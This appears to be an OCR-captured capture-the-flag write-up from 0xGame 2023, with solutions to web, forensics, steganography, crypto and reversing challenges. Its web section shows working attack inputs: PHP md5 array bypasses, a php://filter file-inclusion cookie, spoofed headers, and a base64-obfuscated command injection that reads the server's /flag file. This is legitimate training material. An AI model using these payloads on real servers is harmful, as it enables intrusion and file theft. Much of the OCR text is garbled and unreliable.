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Documentation

m Vue's official documentation provides you with all information you need to
get started.

Tooling

This project is served and bundled with Vite. The recommended IDE setup is
=) VSCode + Volar. If you need to test your components and web pages, check

out Cypress and Cypress Component Testing.

More instructions are available in README . md.
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Get official tools and libraries for your project: Pinia, Vue Router, Vue Test

, o
Welcome to OxGame 2023! e Utils, and Vue Dev Tools. If you need more resources, we suggest paying
Can you find the flag? Awesome Vue a visit.
Community
Q Got stuck? Ask your question on Vue Land, our official Discord server, or
StackOverflow. You should also subscribe to our mailing list and follow the
official @vuejs twitter account for latest news in the Vue world.
Support Vue
L 4 As an independent project, Vue relies on community backing for its

sustainability. You can help us by becoming a sponsor.
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Documentation

m Vue's official documentation provides you with all information you need to
get started.

Tooling

This project is served and bundled with Vite. The recommended IDE setup is
=) VSCode + Volar. If you need to test your components and web pages, check

out Cypress and Cypress Component Testing.

More instructions are available in README . md.
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e Get official tools and libraries for your project: Pinia, Vue Router, Vue Test
Welcome to OxGame 2023! e Utils, and Vue Dev Tools. If you need more resources, we suggest paying
Can you find the flag? Awesome Vue a visit.
Community
g Got stuck? Ask your question on Vue Land, our official Discord server, or
StackOverflow. You should also subscribe to our mailing list and follow the
official @vuejs twitter account for latest news in the Vue world.
Support Vue
L 4 As an independent project, Vue relies on community backing for its
sustainability. You can help us by becoming a sponsor.
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<?php
flag in flag.php
highlight file(_FILE_);
if (isset($_GET['a’]) & isset($_GET['b’]) & isset($_POST['c’]) && isset($_COOKIE[ name’])) ({
$a = $_GET['a’];
$b = $_GET['b'];
$c = $_PoST['c'];
$name = $_COOKIE[ name’];
if ($a != $b & md5(Sa) == md5($b)) {
if (lis_numeric(§c) & Sc != 1024 & intval($c) = 1024) |
include ($name.’ . php’) ;
}
}
2>
|
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Cookies

@ http://120.27.148.152:50014/?a[]=1&b[]=2

POST v http://120.27148152:50014/2a[]=1&b[]=2

Paramse  Authorization ~ Headers (9) ~ Bodye  Pre-requestScript ~ Tests  Settings

Headers @ 8 hidden

Key Value Description <« Bulk Edit Presets v
Cookie name=php://filter/read=convert.base64-e...
Key alue Description
Body Cookies Headers (9) Test Results ® 2000k 90ms 888B [2) Saveas Example ooo
Pretty Raw Preview Visualize
if (Sa != $b & md5(Sa) == md5(Sh)) { -

if (lis_numeric(Sc) & Sc != 1024 & intval(Sc) == 1024)
include (Sname. . php’) ;

»

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 11

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 11
PD9waHAKCiRmbGFnID0gJzB4R2FtZXsOM2JiM2UyNCOwODIOLTQ4Y2ItOTVKMC1jNDcxNTQwYzASNTN9JzsKCji
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<?php

$flag = 'OxGame{43bb3e24-0824-48cb-95d0-c471540c0953}";

>

hello_http
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BASE64f#z:
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BIAGetfESquery=ctf

Hello HTTP

Follow the instructions to get the flag

Error: The GET parameter query must be ctf
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Hello HTTP

Follow the instructions to get the flag

Error: The POST form action must be getflag

EFAPosttESaction=getflag
i http://120.27.148.152:50012/?query=ctf () save v 7 B

hitp://120.27.148.152:50012/2query=ctf ‘

‘ POST b
Params e Authorization Headers (10) Body e Pre-request Script Tests Settings Cookies
none form-data @ x-www-form-urlencoded raw binary GraphQL
Key Value Description Bulk Edit
action getflag
Key Value Description

@ 2000K 129ms 6738 [ Save as Example eeo

Body Cookies (1) Headers (10) Test Results

Raw Preview Visualize
-

Hello HTTP

Follow the instructions to get the flag

Pretty

Error: Your are not admin
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i http://120.27.148152:50012/?query=ctf @ save v g B <>

POST v http://120.27.148.152:50012/2query=ctf ‘ @

Params @ Authorization Headers (10) Body e Pre-request Script Tests Settings

Cookies
Headers @ 9 hidden
Key Value Description eec  Bulk Edit Presets v
Cookie role=admin
Key Value Description

Body Cookies (1) Headers (10) Test Results

@® 2000K 133ms 668B ) Save as Example ooo

Pretty Raw Preview Visualize

Hello HTTP

Follow the instructions to get the flag

Error: Only allow local IP

XFRk, OmEAHBIER

P http://120.27.148.152:50012/?query=ctf [ save v s E
‘ POST v http://120.27.148.152:50012/?query=ctf ‘
Params e Authorization Headers (11) Body e Pre-request Script Tests Settings Cookies
Headers < 9hidden
Key Value Description ==« Bulk Edit Presets v
Cookie role=admin
X-Forwarded-For 127.0.01
Key Value Description

Body Cookies (1) Headers (10) Test Results @ 2000k 86ms 702B [m) Save as Example eeo

Pretty Raw Preview Visualize

Hello HTTP

Follow the instructions to get the flag

Error: You are not using Harmonyos

Browser .

-

9 Postbot  [*] Runner & Start Proxy Cookies [j Trash [I

UASL, #RRERRINEES (EEWMST)



f  http://120.27148.152:50012/?query=ctf R save ~ 7 =

POST ~ http://120.27.148.152:50012/7query=ctf ‘

Params e Authorization Headers (12) Body e Pre-request Script Tests Settings Cookies

Headers < 9hidden

Key Value Description .= Bulk Edit Presets v
Cookie role=admin
X-Forwarded-For 127.0.0.1
User-Agent HarmonyQS Browser
Key Value Description
Body Cookies (1) Headers (10) Test Results @ 2000K 84ms 701B [5) Save as Example oso
Pretty Raw Preview Visualize

Hello HTTP

Follow the instructions to get the flag

Error: Only allow access from
ys.mihoyo.com @

-

¥d Postbot  [+) Runner ¢ Start Proxy & Cookies I Trash [

Referersk, FTriERFIE (GnREMEITAIT)

iF  http://120.27.148.152:50012/?query=ctf ) save v s E >
‘ POST v http://120.27.148.152:50012/2query=ctf ‘ @
Params & Authorization Headers (13) Body e Pre-request Script Tests Settings Cookies

Headers < 9hidden

Key Value Description <= Bulk Edit Presets v
Cookie role=admin
X-Forwarded-For 127.0.01
User-Agent HarmonyOS Browser
Referer ys.mihoyo.com
Key Value Description
Body Cookies (1) Headers (10) Test Results @ 2000k 104ms 7288 [3) Save as Example oo
Pretty Raw Preview Visualize

Hello HTTP

Follow the instructions to get the flag

B Congratulations! Flag is
oxGame{2clalefb-921e-4250-820F-
5ce36940b8b5}
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¥9 Postbot  [¥] Runner ¢ StartProxy (& Cookies [ Trash [H @

Finally,l got the flag.=)



ping

=]
AH
B L B 6 & =

C @ O 8 120.27.148.152:50015
Dwanas Hss

Derts. Dyaissns @ #Fw Dammt @ s
Ping

127.0.0.1

mE—TENE, AWER, REEEREEREET.

w L B 6 f =

C @ & view-source:http://120.27.148.152:50015/
Oswiss Hivss

DAt DJamsss @ #FL O ¥EmE © surmi
<html>
<head>
<link rel="stylesheet" type="text/css" href="simple.css">
<script sre="https://cdn.bootedn.net/ajax/1ibs/jquery/3.6.4/jquery.min.3s"></script>
<title>Ping</title>
</head>

<body>
<div>
<div style="text-align: center;">
<h1>Ping</h1>
<div>

process(); return false">
ext"” name="ip" id="ip" placeholder="127.0.0.1" pattern="((\d{1,2}|1\d\d|2[@-4]\d|25[@-5])\.){3}(\d{1,2}|1\d\d|2[@-4]\d|25[@-5])" title="IPv4 Address" required />
/

ubmit” value="Ping" />

</div>

<pre id="result" hidden><code></code></pre>
</div>
</div>
<!-- visit '/api.php?source’ for hint -->
</body>
<script> |
function process() {
let ip = $('#ip'). H
$.post('api.php', {ip: ip}, function (data) {
$('#result>code" ). text(data);
$("#result').shou();

b

</script>
</html>
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<2php

function sanitize($s) {

$s = str_replace(’;’, 7, $§s);
str_replace(" *, 7, $s);
str_replace(" /", 7, $s);
str_replace( flag’, ', $s);
return $s;

©»
@
[T

if (isset($_GET[ source’])) {
highlight_file(__FILE_);
die();

if  (lisset($_POST[ ip'])) |
die(No IP Address’);

$ip = $_POST[ip'];

$ip = sanitize($ip);

if (lpreg match(/((\d{1,2} 1\d\d|2[0-4]\d|25[0-5])\.) {3} (\d{1, 2} [1\d\d|2[0-4]\d25[0-5]) /", $ip))
die(’Invalid IP Address’);

}
system(ping —c 4 ’.$ip. ' 2&1")
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i@ Mew Collection | http://120.27.148.152:50015/api.php?source B save v g E
POST v http://120.27148.152:50015/api.php ‘
Params Authorization Headers (8) Body e Pre-request Script Tests Settings Cookies
none form-data @ x-www-form-urlencoded raw binary GraphQL
Key Value Description eee  Bulk Edit
ip 127.0.0.1&echo${IFS}"bHMgLw=="|base64...
Key Value Description
Body Coockies Headers (3) Test Results @ 2000k 317s 800B [) Save as Example oo
Pretty Raw Preview Visualize HTML = O Q
1  PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
2 64 bytes from 127.0.0.1: icmp_seq=1 tt1=64 time=0.028 ms
3 bin
4 boot
5 dev
6 etc
7 flag
8 home
9 1ib
10 libe4d
11 media
12 mnt
¥ Postbot [*] Runner " Start Proxy (& Cookies [ Trash [
= . s S > == = N AN
REFER Tbase6dswid, ISR TREFR THflag, XEFRFBRFESNEA at /flagin<RIES
i New Collection / http://120.27.148.152:50015/api.php?source @ save v 7z B B
‘ POST v http://120.27.148152:50015/api.php ‘ S
Params Authorization Headers (8) Body e Pre-request Script Tests Settings Cookies >
none form-data @ x-www-form-urlencoded raw binary GraphQL
Key Value Description =ee Bulk Edit
ip 127.0.0.1&echo${IFS}"Y2F0ICImMbGFn"|bas... ®
Key Value Description
Body Cookies Headers (9) TestResults @ 2000k 312s 755B [3) Save as Example oeo
Pretty Raw Preview Visualize HTML v = O Q
1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
2 64 bytes from 127.0.0.1: icmp_seq=1 ttl1=64 time=0.047 ms
3 OxGame$19c71976-d7d8-4ab8-9ea5-6ea3800f59f6F
4 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.029 ms
5 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.034 ms
6 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.039 ms
7
8 ---127.0.0.1 ping statistics ---
9 4 packets transmitted, 4 received, 0% packet loss, time 3076ms
10 rtt min/avg/max/mdev = 0.029/0.037/0.047/0.006 ms
¥9 Postbot () Runner o Start Proxy @ Cookies 10 Trash [H &
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ZER/N =, Bigbase32

GB4EOYLNMV5VOZLMMMYG2ZK7KRXVEMDY15QW2ZJSGAZDGI JBPU======
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e
BEEZHBEHF T cs

TR, BE—.bspIXit

= |fccc26d207c79c93980e00438a353dd8
X ESY Hz =5
» u & B L x T sraeame - ‘\/‘ - EHemmsE

e oy e " EEE —f.«m N ) i) - e 1 2B
Eg’;g;e B MM e BUE SHE BB EE ;ff-;g Sy
R |n #ie T e
T > fccc26d207¢79c¢93980e00438a353dd8 v U P TE fcec26d207¢79c93980e00438a353dd8 igz

O &% - ExEs s KN
)
mEE
TR
& s
S

Cor

| #—bsp 2023/7/17 12:08 BSP 34 8,485 KB

%%y

cstrike
etc
P25t

@ OneDrive

= e

B 3D ¥R
B

=BEk

[ >y

4 TH

=23

i)

%9 Local Disk (C)

@ RE



af://n48
af://n49
af://n56

ZUER, XIEER—IKCSHUE. . .
tRiEhint, FEcs1.6, BIER, XRERHT1999FHITHRA. . .
BRYFERE, BETHIT (

"

ESe
S—FER, BTERRUSBHX MEFRRmapsX 4k, Ae——
cs, B!

MR, SEZMERERINH AR, EE2RERN., BFhintki—REE, flagtBiFaifei
™. SANflaghnzeE R B, TRHE __I!J*Z,%EAHIE%T BN—E. . . RECEEEEN
JREREE] T BB MR E/ NI R F A& ...

shark shark

—PREDHTE, BERTHRE Mnoob, REMIKITRRIER, BTV RELLE. . . REETH
BAZIE, XEFEEE T — hexfZzRIE4EE, 'F%Z'F%%ED_B’* Sflag, THEHRER(FIE.

KEUEREMEENBIRIHERR PR, BEI—B+7HFIE.

M sharkpcapng M Wireshark - J825 TCP i (tcp.stream eq 4) - shark.pcapng - o X =
) RIB(E) WAV 3
Am4d® X 504b0304140009000800017e3b573440eb40 2¢ 666C61672e74787474f54e6e559
= 873f67€32d14b6572F12401b92b622d75b576fd8e73fcbofo80c8d232420e19a36ac5d6852ca66d16ba25b8 |
(R [ccp. strean eq 4 727e2e42d21889504b97083440eb40380000002c000000504b01021'F00140009000800017e3b573440eb403 E <
No. Time 2¢ JWL61672e747874eaeazoeoaeeeeeaealea
18000d740af216f1d90156fc2fa417f1d90195872fa417f1d901504b05 10001005
000000000
61 28.378498 =64256 Len=0 TSval=524
65 28.389525 1 Win=64256 Len=444 TS
67 28.389777 in=2097664 Len=0 TSval
71 28.394422 Nin=64256 Len=0 TSval=5
|
< >
> Frame 59: 74 bytes d -9DDE-E6E8B8743BC7}, i
> Ethernet II, Src: Mi
> Internet Protocol Ve
© Transmission Contr‘oi I
1 BPH A4, 0 BEE A, 0 turn (o).
A FHHE (444 bytes) 57 Show data as |ASCIT v W 4=
= | [ERF—4®
< >
O ¥ shark. pcapng R I TR BE Close Help) . 4%) H BiE: Default

FRfRR ML https://ctf.mzy0.com/CyberChef3/XELH TS H S H A EEE,
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https://ctf.mzy0.com/CyberChef3/

[im} ¥ From Hex (16i##lftiR) - Gybe X | 4

- a8 x
G )  https:/ctf.mzy0.com/CyberChef3/#recipe=From_Hex (163#4£i) (‘Auto’)&input=NTAOYjAzZMDQXNDAWMDKWMDA4MDAWMTAIM2I1NZMONDBIYjQw... 3% v§  ©= v

Version 9323 Last build: 2 years ago FE B Q - JESHE= T )
BIEIZREARE (Operations) i (Recipe) BB 3§ %A (npu) ?%V&Ifjd-zip DS e =
Search § © g 50400304143000000800017e3057344 F54e6e559873F67e32
From Hex (16ittHl4€12) d14b657212401b92b622d75b576Fd8 L EI RS 727e2¢42d21889504b
Favourites (%) * Delimiter e - . 4000000
s 16726747 10018000d740aF2161d90156Fc2a417F1d901

To Base64 (¥¢1/9Base64)

From Base64 (Base64%%1%)

To Hex (igmneittil)

From Hex (16i##l%i%)

To Hexdump (163##14£77)

From Hexdump (RE163#1577)
URL Decode

Regular expression

95872fa417f1d9e1. 1000

ams.

i (Output) pa 1e§$§ 222 B I_D 3] &3
T PKovot  o...~;WA@E@S. . .
Fork £3A0., |m. 2% r~.BO. .PK. . flag.txt
agic e
6. AU.VU/H.AU. . L /HLAULPK. oL Z...no....
Data format (¥iB56i8)
Encryption / Encoding (I&%/4%3)
Public Key (2$8)
Arithmetic / Logic (EAR/iBIBIEH)
Networking (FI¢&1E3%)
Language (IBE4HHB)
STEP
e I 2 =
4R ZRBR A EREG
20 14.790061 172.29.64.1 172.29.68.212 FTP 79 Request: PASS very_safe_password :
B8 download - 360%45 BTy BIE a1 D T E — 0O
Bn BREE —EEE il BEREE TE
* := |8 download.zip - 284/ 1 KB vV ¥ Q,
B [E4EHN 53 Eic [Ep L
. (ERER) s
. . Ep N ] bt
flag.txt * ‘ 2023-09-27 15:48
FINEERI AR N S
flag.txt
BrEs
[ =amha [=EEE] fuEags
TREE e EGH

F/N: T KB £ 1 400 [

5%lflag

OxGame{7a504dab-ada6-4c41-adb3-0d1530098cd4}
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WA PIRBCCHER: steghide, seek

AIRIARLE(EMA T steghidet&flaghaisift 7 HH4RIB A, SFAEZEAsteghidetG EIRENH SRATA]
KMFEEZERS, MABHPRERER, IPMREEERIER T, BREHFNFEX/NIRXE T AnoobfR
A0(—)o, ERREZIRE, B Mrockyou. txtiI=FEE, T2 MAstegseekJELHT TR, R
A1EEI T flag,

-~

a.jpg rockyou.txt
StegSeek 0.6 - https://github.com/Rickdelager/StegSeek

[1] Found passphrase: "@7Llsbrmw”

[1] Original filepame: "flag.txt".
[1] Extracting to "a.jpg.out”.

4 froot/a.jpg.out - Mousepad

WHF) fRIB(E) HRZ|()S) ME() (D) FBh(H)

+ I B C x O aQ &« n

EBE EBEEER rootikFP, BrIEEHEENRE,
1 0xGame{Just_hlde and S33k}

least and most

BT KB R, ZF¥FERERERE. fthiiEIstegsolved, RiEBleast and most, EiESTREERGB
HIORIFE, RAKI
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& - O
Extract Preview
3078476164657b6c 73625f636£6dffff 0xGame{l sb com.. -
FfEEF000000000000 000000000000FFFFf v iieiin vunnnenn. =
5 e i i e e o i s e i s i s e
i e e e e s e e e e e =10 R
020703803ff£f£££f 0000000000000000 . ?ive vunnnenn.
0000000000000000 0000000000000000 v . veeere wunnenn.
000000000000f££f0 00000ff9%ecatatld ...vveee veunnn 3"
efc0e3f1c71£8000 fc7e00e0003fffff ........ S I
fEEFF00000000000 0000000000000FFF v v vie e vunnnenn.
B e e e e e e e e s e A =
Bit Planes Order settings
Alpha [ 17 [16 [15 [14 [13 [12 11 [Jo ExtractBy @ Row (O Column
Red [ 17 [l6 []5 [14 [I3 []2 []1 [¥o Bit Order O MSB First ® LSB Firsi
Green [ 17 [16 [15 []14 [I3 [12 []11 [vo ]
Bit Plane Order
Blue [ |7 [16 []5 [14 [I3 []2 []1 [v|Io ®RrRGE O GRB
OrRee O BRG
Preview Settings OeBr O BGR
Include Hex Dump In Preview
‘ Preview H Save Text H Save Bin H Cancel |
BBARAEMA, BEHREEH most"BY74~FmE
é - I:l
Extract Preview
62696e65645£7769 74685£6d73627dff bined wi th msb}. sl
e e e s e s e e e e s e e e A —
e e e s e s e e e e s e e e A
e e e s e s e e e e s e e e A
e e e s e s e e e e s e e A
e e e s e s e e e e s e e e A
e e e s e s e e e e s e e A
e e e s e s e e e e s e e A
e e e s e s e e e e s e e A
e e e s e s e e e e s e e A =
Bit Planes Order settings
Alpha []7 [Je [I5 14 13 12z 11 o Extract By ® Row (O Column
Red W7 (16 [15 [14 13 12 [11 o Bit Order () MSB First @ LSB First
Green V|7 []6 [I5 [14 [13 [12 [11 [Jo ’
Bit Plane Order
Blue [¥|l7 6 [15 [Ja 03 12 1 [Jo @ RrRee O GRB
ORrRee O BRG
Preview Settings OceBr O BGR
Include Hex Dump In Preview
Preview H Save Text H Save Bin H Cancel |

HERERSflag
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Crypto
&3, 18, *EEE

AH

from secret import flag #\HSAMERITlag, XARATERERIEE
from Crypto.uUtil.number import bytes_to_long #M\ %)% 5 N —LE25 ik %
from base64 import b64encode

#hint: VT 5 R BE 2 RA L ), (HREE A HIE.....
from base64 import b64decode

from gmpy2 import iroot

from Crypto.Util.number import long_to_bytes

flag = flag.encode()
lent = len(flag)
flag = [flag[i*(lent//4):(i+1)*(lent//4)] for i in range(4)]1#Ff1agtlplyiy

cl = bytes_to_long(flag[0])

c2 = "".join([str(bin(i))[2:] for i in flag[1l]])

c3 = b64encode(flag[2])

c4 = flag[3].hex()

print(f'cl?= {pow(cl,5)}\nc2 = {c2}\nc3 = {c3}\nc4 = {c4}")

cl?=
26070762378724562657013944088592866603683274155821065086836488347720208878013530
62171214554351749058553609022833985773083200356284531601339221590756213276590896
14389495405390297340763821485116417196863060231384402201613542856008184449935667
2695981757804756591891049233334352061975924028218309004551

c2 =
10010000100001101110100010100111101000111110010010111010100001101110010010111111
10100001111001101000000110101111111001101001100010101111111001011010011010000010
1110010010111101100101011110011110111100

c3 = b'lueggeeah0+8jomCo+S5iow8gowni+aIkQ=="

c4 = edbbace79a8443727970746fe68c91e68898e590a72121217d

#ATTEELAD,  HRWE SRR ?

EHHE—, RMEFBIENZEHERER, AfRdecode()

from Crypto.Util.number import *

import base64

from gmpy2 import iroot

a=b""
c1=26070762378724562657013944088592866603683274155821065086836488347720208878013
53062171214554351749058553609022833985773083200356284531601339221590756213276590
89614389495405390297340763821485116417196863060231384402201613542856008184449935
6672695981757804756591891049233334352061975924028218309004551

cl=iroot(cl,5)

print(cl) #4455 RF 204 c LA
c1=304250111637877466249567661291288030071081703500059143540711
cl=long_to_bytes(cl)

a+=cl


af://n91
af://n92

¢c2=0b100100001000011011101000101001111010001111100100101110101000011011100100101
11111101000011110011010000001101011111110011010011000101011111110010110100110100
000101110010010111101100101011110011110111100

c2=long_to_bytes(c2)

a+=c2

c3 = b'lueggeeah0+8jOomCo+S5iow8gowni+aIkQ=="

c3=base64.b64decode(c3)

a+=c3

c4 = Oxedbbace79a8443727970746fe68c91e68898e590a72121217d

c4=long_to_bytes(c4)

a+=c4

print(a)

print(a.decode())

=178t

MR T EREAMAREBEE, BATTERNEICryptobkaMiE1 1}

*

from Crypto.Util.number import
from secret import flag

def encrypt(m):
m = str(bin(m))[2:][::-1]
enc = 0
for i in range(len(m)):
enc += init[i] * int(m[i]) % n
return enc

w = getPrime(64)
n getPrime(512)
init = [w*pow(3, i) % n for i in range(512)]

c = encrypt(bytes_to_long(flag))

print(f'w={w}")
print(f'n={n}")
print(f'c={c}")

w=16221818045491479713
n=970207428934876313110217437789988390454858410564104515026976358943129382691334
8632496775173099776917930517270317586740686008539085898910110442820776001061
€c=479596928957231459078746799086520554843019092155672287989172110771926282278948
3863742356553249935437004378475661668768893462652103739250038700528111

LA, RMEARRE—IMHEREE, TESHENAERKEE

&

from Crypto.Util.number import *
w=16221818045491479713
n=970207428934876313110217437789988390454858410564104515026976358943129382691334
8632496775173099776917930517270317586740686008539085898910110442820776001061


af://n99

init = [w*pow(3, i) % n for i in range(512)]
c=479596928957231459078746799086520554843019092155672287989172110771926282278948
3863742356553249935437004378475661668768893462652103739250038700528111
a='"
for i in range(511,-1,-1):
if init[il<=c:
c-=init[i]
a+="1"
else:
a+="0"
print(a) #&FH—T4RIFFIERIE
b=0b1100000111100001000111011000010110110101100101011110110101011101100101011011
00011000110011000001101101011001010101111100110010010111110100001101110010011110
01011100000111010000110000010111110100011101000000011011010110010100100001001000
1100100100001001100010010101111101
b=1ong_to_bytes (b)

print(b)
R#&15%!flag
BabyRSA
"H

from Crypto.Util.number import *
from random import getrandbits
from secret import flag

def getN(Q):
N=1
for i in range(16):
tmp = getPrime(32)
N *= tmp
return N

mask = getrandbits(256)
65537

getNQ)
bytes_to_Tlong(flag)
c = pow(m*mask,e,n)

e

n

m

print(f'n = {n}")
print(f'e = {e}")
print(f'c = {c}")

print(f'mask = {mask}")

n =
93099494899964317992000886585964221136368777219322402558083737546844067074234332
564205970300159140111778084916162471993849233358306940868232157447540597

e = 65537

C =
54352122428332145724828674757308827564883974087400720449151348825082737474080849
774814293027988784740602148317713402758353653028988960687525211635107801
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mask =
54257528450885974256117108479579183871895740052660152544049844968621224899247

2 HAJRSA

import gmpy2

from Crypto.Util.number import *

Cc =
54352122428332145724828674757308827564883974087400720449151348825082737474080849
774814293027988784740602148317713402758353653028988960687525211635107801

n =
93099494899964317992000886585964221136368777219322402558083737546844067074234332
56420597030015914011177808491616247199384923335830694086823215744754059

E =0x10001

mask =
54257528450885974256117108479579183871895740052660152544049844968621224899247
data=
[2329990801,2436711469,2732757047,2770441151,2821163021,2864469667,2995527113,31
11632101,3162958289,3267547559,3281340371,3479527847,3561068417,3978177241,41347
68233,4160088337]

phi = 1

for p in data

phi = phi * (p-1)

gmpy2.invert(E,phi)

pow(c,d,n)//mask

print(long_to_bytes(m))

d
m

=i

b'exGame{Magic_Math_Make_Crypte}'
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[Week 1] Vigenere

%W 0dGmak {79ap4i0522g0a67m6i196he52357a60f} (5 E M FAN INEE A2

ZHEREERIINE, BYEBRRFIHELER: game, AEHESEfag.
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0RR, MFRERW, FEi.
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R E AR THEIEF M NASCINE, MANEFSEflag
() Ox / ObgEj&R
ASCIIN =

0xCAFEBABE

T7Es (FH)
30 78 43 41 46 45 42 41 42 45

Dl (F9)
00110000011110000100001101000001010001100100010101000010010000010100001
001000101

MBERFHFHHOLE, XBERATHFREMKGEZM,

EXE, REEMANBHRFTSHIeHEIEX, THRHABFAE.

WUFSNT:
00110000011110000100001101000001010001100100010101000010010000010100001001000101
sz b 3 Y A =2 A A .

BEMASRFSHN16HFIAZ T . 0xCAFEBABE

RE, MELTRTHFZRE!
OxGame{5fu812eb-6dee-46ab-9910-92af6U3cd911}
BREREMkEE. . \

(K EEAE)
XNERRSREEATHAT

BAANBER:  %s HE, FRHTARBSHE, SHETRESE0ERS!
BiER:, XARERMCBEA. BEAEK, BUE.
pause 0xGame{620bbfcb-e56f-4e6d-8069-9587e066130a} ?

pILETTER

FFRET TRIDAF TR EZflag
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File Edit Jump Search View Debugger Options Windows Help
HH evoy H&® & 3 B DO daut .+ v X > 0 0O[Local Hindows debugzer v | %[ @+ B
-

N nnnm

Library function [l Regular function Ml Instruction [l Data Ml Unexplored [l External symbol Ml Lumina function

Functions o0& x DA View-d 8 @ Hex View-1 g ® Structures ] Enuns. Inports Exports ]
Function name ~ Tea rcx, Format ; Format
7 140001000 mov [rsp+1Fehsvar_1De], 3eh ; '0'

al40001010 mov [rsp+1Feh+var_icc], 78h ; 'x

ey ov eml&?;m 18], 47h ; ‘G’

sub_140001080 mov rsp: var_1C8], 5

main mov rsp+1FOh+var_1C4], 61h ; 'a’

__security_check_cookie mov rsp+1Feh+var_1C0], 6Dh ; ‘m'

bre_c_initialization(void) mov rsp+1Feh+var_18C], 65h ; ‘e’

post_pgo_initialization (void) mov rsp+1Feh+var_188], 78h ; '{'

B ) bou  [rsprirohnar_iaa), 370 | 7

EEsl mov rsp+1Feh+var_180], 31h ; '1'

itigse,secumyfai1ure mov rsp+lF@h+var_1AC], 36h ; '@’

report_gsfailure mov rsp+1Feh+var_1A8], 37h ; ‘7'

capture_previous_context mov rsp+lF@h+var_1A4], 65h ; ‘e’

__scrt_acquire_startup_lock mov rsp+lF@h+var_1A8], 65h ; ‘e’

—sert_initialize crt mov rsp+1Feh+var_19C], 62h ; ‘b’

scrt_initialize_onexit_tables - 2

sert_is_nomwritable_in_current_inage mov rspifehivar_198], 38h 5 '8

S i ks mov rsp+lFeh+var_194], 20h ; -

__scrt_uninitialize_crt mov rsp+1F@h+var_198], 36h ; '6'

onexit mov rsp+iFeh+var_18C], 37h ; '7°

atexit mov rsp+1Feh+var_188], 31h ; '1'

i:“b—)l“‘t’ggm"F " mov rsp+1Feh+var_184], 3%h ; ‘o'

e EC O, mov rsp+1F@h+var_180], 20h ; '-'

charNode: :rax_length (void) e

o G Gl e mov rsp+lFehtvar_17C], 34h ; '4

Sub. 140001410 mov rsp+1Feh+var_178], 39h ; '9'

sub_140001A20 mov rsp+lFeh+var_174], 38h ; '8'

_guard_check_icall_noy mov rbp+6Feh+var_170], 32h ; '2'

sert_initialize.default local stdio_option mov rbp+6Feh+var_16C], 20h ; '-'

Sscnt s userTpntherrToresent mov rbp+oFoh+var_168], 61h ; 'a’'

cubLiooowaso mov rbp+eFeh+var_164], 3eh ; ‘6"

ub_140001460 mov rbp+eFeh+var_160], 33h ; '3'

sert_fastfail mov rbp+eFeh+var_15C], 64h ; 'd’

3 UserMathErrorFunction mov rbp+oFeh+var_158], 20h ; '-'

sert_is_managed_aj mov rbp+@Feh+var_154], 3%h ; ‘9"

scrt_set_unhandled_exception_filter v mov rbp+oFoh+var_150], 38h : 8"
< > mov rbp+6Feh+var_14C], 35h ; '5'
Line 31 of 75 mov rbp+6Feh+var_148], 33h ; '3'

mov rbp+6Feh+var_144], 36h ; ‘6’
& Craph overvien o8 x mov rbp+6Feh+var_140], 33h ; '3'
mov rbp+eFeh+var_13C], 33h ; '3'
mov rbp+eFeh+var_138], 35h ; '5'
mov rbp+eFeh+var_134], 64h ; 'd’
mov rbp+oFeh+var_130], 66h ; 'f'
mov rbp+oFeh+var_12C], 39h ; '9'
mov rbp+6Feh+var_128], 33h ; '3'
mov [rbp+6Feh+var_124], 7Dh ; '}'
= Output 08 x
Propagating type information. .. ~
Function argument information has been propagated
hed v

The initial autoanalysis has been finishe

me |

AU: idle Dpown  Disk: 305GB
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